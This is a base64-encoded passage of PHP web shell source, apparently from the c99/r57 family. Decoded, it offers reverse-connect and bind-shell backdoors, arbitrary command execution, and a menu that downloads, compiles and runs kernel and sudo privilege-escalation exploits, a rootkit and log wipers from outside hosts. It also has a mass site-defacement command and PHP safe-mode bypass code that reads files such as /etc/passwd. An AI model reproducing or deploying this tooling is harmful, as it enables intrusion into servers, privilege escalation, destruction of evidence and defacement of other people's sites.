mh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLgoiSVFBNyIKKTsKLy9Gb3Igc2ltcGxlIHNpemUtIGFuZCBzcGVlZC1vcHRpbWl6YXRpb24uCiRpbWdlcXVhbHMgPSBhcnJheSgKICAiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJqIiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUiLCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIsImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwKICAiZXh0X3BocCI9PmFycmF5KCJleHRfcGhwIiwiZXh0X3BocDMiLCJleHRfcGhwNCIsImV4dF9waHA1IiwiZXh0X3BodG1sIiwiZXh0X3NodG1sIiwiZXh0X2h0bSIpLAogICJleHRfanBnIj0+YXJyYXkoImV4dF9qcGciLCJleHRfZ2lmIiwiZXh0X3BuZyIsImV4dF9qcGVnIiwiZXh0X2pmaWYiLCJleHRfanBlIiwiZXh0X2JtcCIsImV4dF9pY28iLCJleHRfdGlmIiwidGlmZiIpLAogICJleHRfaHRtbCI9PmFycmF5KCJleHRfaHRtbCIsImV4dF9odG0iKSwKICAiZXh0X2F2aSI9PmFycmF5KCJleHRfYXZpIiwiZXh0X21vdiIsImV4dF9tdmkiLCJleHRfbXBnIiwiZXh0X21wZWciLCJleHRfd212IiwiZXh0X3JtIiksCiAgImV4dF9sbmsiPT5hcnJheSgiZXh0X2xuayIsImV4dF91cmwiKSwKICAiZXh0X2luaSI9PmFycmF5KCJleHRfaW5pIiwiZXh0X2NzcyIsImV4dF9pbmYiKSwKICAiZXh0X2RvYyI9PmFycmF5KCJleHRfZG9jIiwiZXh0X2RvdCIpLAogICJleHRfanMiPT5hcnJheSgiZXh0X2pzIiwiZXh0X3ZicyIpLAogICJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRfYmF0IiwiZXh0X3BpZiIpLAogICJleHRfd3JpIj0+YXJyYXkoImV4dF93cmkiLCJleHRfcnRmIiksCiAgImV4dF9zd2YiPT5hcnJheSgiZXh0X3N3ZiIsImV4dF9mbGEiKSwKICAiZXh0X21wMyI9PmFycmF5KCJleHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiksCiAgImV4dF9odGFjY2VzcyI9PmFycmF5KCJleHRfaHRhY2Nlc3MiLCJleHRfaHRwYXNzd2QiLCJleHRfaHQiLCJleHRfaHRhIiwiZXh0X3NvIikKKTsKaWYgKCEkZ2V0YWxsKQp7CiAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlL2dpZiIpOwogIGhlYWRlcigiQ2FjaGUtY29udHJvbDogcHVibGljIik7CiAgaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsKICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOwogIGhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5kYXRlKCJyIixmaWxlbXRpbWUoX19GSUxFX18pKSk7CiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkaW1nLCR2KSkgeyRpbWcgPSAkazsgYnJlYWs7fX0KICBpZiAoZW1wdHkoJGltYWdlc1skaW1nXSkpIHskaW1nID0gInNtYWxsX3VuayI7fQogIGlmIChpbl9hcnJheSgkaW1nLCRleHRfdGFyKSkgeyRpbWcgPSAiZXh0X3RhciI7fQogIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsKfQplbHNlCnsKICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQpIHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJlbW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0KICBuYXRzb3J0KCRpbWFnZXMpOwogICRrID0gYXJyYXlfa2V5cygkaW1hZ2VzKTsKICBlY2hvICAiPGNlbnRlcj4iOwogIGZvcmVhY2ggKCRrIGFzICR1KSB7ZWNobyAkdS4iOjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Ii4kdS4iXCIgYm9yZGVyPVwiMVwiPjxicj4iO30KICBlY2hvICI8L2NlbnRlcj4iOwp9CmV4aXQ7Cn0KaWYgKCRhY3QgPT0gImFib3V0Iikge2VjaG8gIjxjZW50ZXI+PGI+Q3JlZGl0czo8YnI+SWRlYSwgbGVhZGluZyBhbmQgY29kaW5nIGJ5IHRyaXN0cmFtW0NDVGVhTV0uPGJyPkJldGEtdGVzdGluZyBhbmQgc29tZSB0aXBzIC0gTnVrTGVvTiBbQW5UaVNoQFJlIHRFYU1dLjxicj5UaGFua3MgYWxsIHdobyByZXBvcnQgYnVncy48YnI+QWxsIGJ1Z3Mgc2VuZCB0byB0cmlzdHJhbSdzIElDUSAjNjU2NTU1IDxhIGhyZWY9XCJodHRwOi8vd3dwLmljcS5jb20vc2NyaXB0cy9jb250YWN0LmRsbD9tc2d0bz02NTY1NTVcIj48aW1nIHNyYz1cImh0dHA6Ly93d3AuaWNxLmNvbS9zY3JpcHRzL29ubGluZS5kbGw/aWNxPTY1NjU1NSZpbWc9NVwiIGJvcmRlcj0wIGFsaWduPWFic21pZGRsZT48L2E+LjwvYj4iO30KaWYgKCRhY3QgPT0gImJhY2tjIikKewokaXAgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKJG1zZyA9ICRfUE9TVFsnYmFja2Njb25ubXNnJ107CiRlbXNnID0gJF9QT1NUWydiYWNrY2Nvbm5tc2dlJ107CmVjaG8oIjxjZW50ZXI+PGI+QmFjay1Db25uZWN0aW9uOjwvYj48L2JyPjwvYnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPkhvc3Q6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWJhY2tjb25uZWN0aXAgc2l6ZT0xNSB2YWx1ZT0kaXA+IFBvcnQ6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1iYWNrY29ubmVjdHBvcnQgc2l6ZT0xNSB2YWx1ZT01OTkyPiBVc2U6IDxzZWxlY3Qgc2l6ZT0xIG5hbWU9dXNlPjxvcHRpb24gdmFsdWU9UGVybD5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1DPkM8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPkNsaWNrICdDb25uZWN0JyBvbmx5IGFmdGVyIHlvdSBvcGVuIHBvcnQgZm9yIGl0IGZpcnN0LiBPbmNlIG9wZW4sIHVzZSBOZXRDYXQsIGFuZCBydW4gJzxiPm5jIC1sIC1uIC12IC1wIDU5OTI8L2I+Jzxicj48YnI+PC9jZW50ZXI+Iik7CmVjaG8oIiRtc2ciKTsKZWNobygiJGVtc2ciKTsKfQoKaWYgKCRhY3QgPT0gInNoYmQiKXsKJG1zZyA9ICRfUE9TVFsnYmFja2Njb25ubXNnJ107CiRlbXNnID0gJF9QT1NUWydiYWNrY2Nvbm5tc2dlJ107CmVjaG8oIjxjZW50ZXI+PGI+QmluZCBTaGVsbCBCYWNrZG9vcjo8L2I+PC9icj48L2JyPjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4KQmluZCBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nYmFja2Nvbm5lY3Rwb3J0JyB2YWx1ZT0nNTk5Mic+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3VzZScgdmFsdWU9J3NoYmQnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nSW5zdGFsbCBCYWNrZG9vcic+PC9mb3JtPiIpOwplY2hvKCIkbXNnIik7CmVjaG8oIiRlbXNnIik7CmVjaG8oIjwvY2VudGVyPiIpOwp9ID8+CjwvdGQ+PC90cj48L3RhYmxlPjxhIGJvb2ttYXJrPSJtaW5pcGFuZWwiPjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPgo8dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48L3RkPjwvdHI+Cjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj5FbnRlcjogPC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNtZCk7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+U2VsZWN0OiA8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQiIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJjbWQiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48c2VsZWN0IG5hbWU9ImNtZCI+PD9waHAgZm9yZWFjaCAoJGNtZGFsaWFzZXMgYXMgJGFscykge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1sxXSkuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzBdKS4iPC9vcHRpb24+Ijt9ID8+PC9zZWxlY3Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT48L3RkPjwvdHI+PC9UQUJMRT4KPGJyPgo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjExNiIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+Cjx0cj48dGQgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PC90ZD48L3RyPgo8dHI+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICAgPGRpdiBhbGlnbj0iY2VudGVyIj5Vc2VmdWwgQ29tbWFuZHMgIAogICAgPC9kaXY+CiAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPgogICAgICAgICAgPFNFTEVDVCBOQU1FPSJjbWQiPgogICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ1bmFtZSAtYSI+S2VybmVsIHZlcnNpb24KICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3Ij5Mb2dnZWQgaW4gdXNlcnMKICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Imxhc3Rsb2ciPkxhc3QgdG8gY29ubmVjdAogICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiPlN1aWQgYmlucwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImN1dCAtZDogLWYxLDIsMyAvZXRjL3Bhc3N3ZCB8IGdyZXAgOjoiPlVTRVIgV0lUSE9VVCBQQVNTV09SRCEKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJmaW5kIC9ldGMvIC10eXBlIGYgLXBlcm0gLW8rdyAyPiAvZGV2L251bGwiPldyaXRlIGluIC9ldGMvPwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndoaWNoIHdnZXQgY3VybCB3M20gbHlueCI+RG93bmxvYWRlcnM/CiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iY2F0IC9wcm9jL3ZlcnNpb24gL3Byb2MvY3B1aW5mbyI+Q1BVSU5GTwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Im5ldHN0YXQgLWF0dXAgfCBncmVwIElTVCI+T3BlbiBwb3J0cwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImxvY2F0ZSBnY2MiPmdjYyBpbnN0YWxsZWQ/CiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0icm0gLVJmIj5Gb3JtYXQgYm94IChEQU5HRVJPVVMpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0id2dldCBodHRwOi8vd3d3LnBhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vbG9nLXdpcGVycy96YXAyLmMiPldJUEVMT0dTIFBUMSAoSWYgd2dldCBpbnN0YWxsZWQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iZ2NjIHphcDIuYyAtbyB6YXAyIj5XSVBFTE9HUyBQVDIKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL3phcDIiPldJUEVMT0dTIFBUMwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndnZXQgaHR0cDovL2Z0cC5wb3dlcm5ldC5jb20udHIvc3VwZXJtYWlsL2RlYnVnL2szIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMSAoSWYgd2dldCBpbnN0YWxsZWQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAxIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDEpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAyIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDIpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAzIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDMpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA0Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA1Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDUpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0id2dldCBodHRwOi8vcHJlY2lzaW9uLWdhbWluZy5jb20vc3Vkby5jIj53Z2V0IExpbnV4IHN1ZG8gc3RhY2sgb3ZlcmZsb3cKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJnY2Mgc3Vkby5jIC1vIHN1ZG9zcGxvaXQiPkNvbXBpbGUgTGludXggc3VkbyBzcGxvaXQKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL3N1ZG9zcGxvaXQiPkV4ZWN1dGUgU3Vkb3NwbG9pdAogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndnZXQgaHR0cDovL3R3b2ZhY2VkLm9yZy9saW51eDItNi1hbGwuYyI+TGludXggS2VybmVsIDIuNi4qIHJvb3RraXQuYwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImdjYyBsaW51eDItNi1hbGwuYyAtbyBsaW51eGtlcm5lbCI+Q29tcGlsZSBMaW51eDItNi1hbGwuYwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Ii4vbGludXhrZXJuZWwiPlJ1biBMaW51eDItNi1hbGwuYwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndnZXQgaHR0cDovL3R3b2ZhY2VkLm9yZy9taWctbG9nY2xlYW5lci5jIj5NaWcgTG9nQ2xlYW5lcgogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImdjYyAtRExJTlVYIC1XQUxMIG1pZy1sb2djbGVhbmVyLmMgLW8gbWlnbCI+Q29tcGlsZSBNaWcgTG9nQ2xlYW5lcgogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Ii4vbWlnbCAtdSByb290IDAiPkNvbXBpbGUgTWlnIExvZ0NsZWFuZXIKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJzZWQgLWkgLWUgJ3MvPGh0bWw+LzxkaXYgc3R5bGU9XCdwb3NpdGlvblw6YWJzb2x1dGVcO3dpZHRoXDoyMDAwcHhcO2hlaWdodFw6MjAwMHB4XDtiYWNrZ3JvdW5kLWNvbG9yXDpibGFja1wnPjxicj48YnI+PGJyPjxicj4mbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDs8aW1nIHNyYz1cJ2h0dHA6Ly9pbWcyNDQuaW1hZ2VzaGFjay51cy9pbWcyNDQvNjY2My9sb2N1czdzZ204LmpwZ1wnPjxicj48Zm9udCBzaXplPVwnMTBcJyBjb2xvcj1cJ2dyZWVuXCc+Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDsmbmJzcFw7Jm5ic3BcOyZuYnNwXDs8Zm9udCBzaXplPVwnMTBcJyBjb2xvcj1cJ2dyZWVuXCc+SEFDS0VEIEJZIDxhIGhyZWY9XCdodHRwXDpcL1wvbG9jdXM3cy5jb21cJz5MT0NVUzdTPFwvYT48XC9mb250PjxcL2Rpdj48bWV0YSBodHRwLWVxdWl2PVwncmVmcmVzaFwnIGNvbnRlbnQ9XCc1XFw7dXJsPWh0dHBcOlwvXC9sb2N1czdzLmNvbVwnPi9nJyBpbmRleC4qIj5pbmRleC4qIE1hc3MgRGVmYWNlbWVudAogICAgICAgICAgICAgICAgICA8L1NFTEVDVD4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPgogICAgICAgICZuYnNwOwogICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+CiAgICAgICAgICA8YnI+CiAgICAgICAgV2FybmluZy4gS2VybmVsIG1heSBiZSBhbGVydGVkIHVzaW5nIGhpZ2hlciBsZXZlbHMgPC9kaXY+CiAgICA8L2Zvcm0+CiAgICA8L3RkPgogIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj4KICAgPGNlbnRlcj5LZXJuZWwgSW5mbzogPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJodHRwOi8vZ29vZ2xlLmNvbS9zZWFyY2giPgogICAgICA8aW5wdXQgbmFtZT0icSIgdHlwZT0idGV4dCIgaWQ9InEiIHNpemU9IjgwIiB2YWx1ZT0iPD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSk7ID8+Ij4KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2xpZW50IiB2YWx1ZT0iZmlyZWZveC1hIj4KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmxzIiB2YWx1ZT0ib3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwiPgogICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJobCIgdmFsdWU9ImVuIj4KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaHMiIHZhbHVlPSJiN3AiPgogICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0iYnRuRyIgVkFMVUU9IlNlYXJjaCI+CiAgICA8L2Zvcm0+PC9jZW50ZXI+CiAgICA8L3RkPgo8L3RyPjwvVEFCTEU+PGJyPgo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjExNiIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+Cjx0cj48dGQgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PC90ZD48L3RyPgo8dHI+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICAgPGRpdiBhbGlnbj0iY2VudGVyIj5QaHAgU2FmZS1Nb2RlIEJ5cGFzcyAoUmVhZCBGaWxlcykKICAgIDwvZGl2Pjxicj4KICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPgogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgogICAgICBGaWxlOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgbWV0aG9kPSJnZXQiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVhZCBGaWxlIj48YnI+PGJyPiBlZzogL2V0Yy9wYXNzd2Q8YnI+CiAgICAgICAKICAgICAgIAogICAgICAgCiAgICAgICAgICAgIAogICAgICAgCiAgICAgICAKICAgICAgPD8KICAgICAgIAogICAgICBmdW5jdGlvbiByc2dfcmVhZCgpCiAgICB7ICAgIAogICAgJHRlc3Q9IiI7CiAgICAkdGVtcD10ZW1wbmFtKCR0ZXN0LCAiY3giKTsKICAgICRmaWxlPSRfR0VUWydmaWxlJ107ICAgIAogICAgJGdldD1odG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsKICAgIGVjaG8gIjxicj5UcnlpbmcgVG8gR2V0IEZpbGUgPGZvbnQgY29sb3I9IzAwMDA5OT48Yj4kZ2V0PC9iPjwvZm9udD48YnI+IjsKICAgIGlmKGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRmaWxlLCAkdGVtcCkpewogICAgJGZpY2hpZXIgPSBmb3BlbigkdGVtcCwgInIiKTsKICAgICRhY3Rpb24gPSBmcmVhZCgkZmljaGllciwgZmlsZXNpemUoJHRlbXApKTsKICAgIGZjbG9zZSgkZmljaGllcik7CiAgICAkc291cmNlPWh0bWxzcGVjaWFsY2hhcnMoJGFjdGlvbik7CiAgICBlY2hvICI8ZGl2IGNsYXNzPVwic2hlbGxcIj48Yj5TdGFydCAkZ2V0PC9iPjxicj48YnI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPiRzb3VyY2U8L2ZvbnQ+PGJyPjxiPjxicj5GaW4gPGZvbnQgY29sb3I9IzAwMDA5OT4kZ2V0PC9mb250PjwvYj4iOwogICAgdW5saW5rKCR0ZW1wKTsKICAgIH0gZWxzZSB7CiAgICBkaWUoIjxGT05UIENPTE9SPVwiUkVEXCI+PENFTlRFUj5Tb3JyeS4uLiBGaWxlCiAgICA8Qj4iLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLiI8L0I+IGRvc2VuJ3QgZXhpc3RzIG9yIHlvdSBkb24ndCBoYXZlCiAgICBhY2Nlc3MuPC9DRU5URVI+PC9GT05UPiIpOwogICAgICAgICAgICB9CiAgICBlY2hvICI8L2Rpdj4iOwogICAgfQogICAgIAogICAgaWYoaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpCnsKcnNnX3JlYWQoKTsKfQogICAgIAogICAgPz4KICAgICAKICAgIDw/CiAgICAgCiAgICBmdW5jdGlvbiByc2dfZ2xvYigpCnsKJGNoZW1pbj0kX0dFVFsnZGlyZWN0b3J5J107CiRmaWxlcyA9IGdsb2IoIiRjaGVtaW4qIik7CmVjaG8gIlRyeWluZyBUbyBMaXN0IEZvbGRlciA8Zm9udCBjb2xvcj0jMDAwMDk5PjxiPiRjaGVtaW48L2I+PC9mb250Pjxicj4iOwpmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKSB7CiAgICBlY2hvICI8cHJlPiI7CiAgIGVjaG8gIiRmaWxlbmFtZVxuIjsKICAgZWNobyAiPC9wcmU+IjsKfQp9CgppZihpc3NldCgkX0dFVFsnZGlyZWN0b3J5J10pKQp7CnJzZ19nbG9iKCk7Cn0KCj8+CgogICAgICAgICAgPGJyPgogICAgICA8L2Rpdj4KICAgIDwvZm9ybT4KICAgIDwvdGQ+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICA8Y2VudGVyPlBocCBTYWZlLU1vZGUgQnlwYXNzIChMaXN0IERpcmVjdG9yaWVzKTogICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPgogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPjxicj4KICAgICAgRGlyOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWN0b3J5IiBtZXRob2Q9ImdldCI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMaXN0IERpcmVjdG9yeSI+PGJyPjxicj4gZWc6IC9ldGMvPGJyPgoKICAgIDwvZm9ybT48L2NlbnRlcj4KICAgIDwvdGQ+CjwvdHI+PC9UQUJMRT4KCgoKCgoKCgoKCgoKCgoKCgoKCgo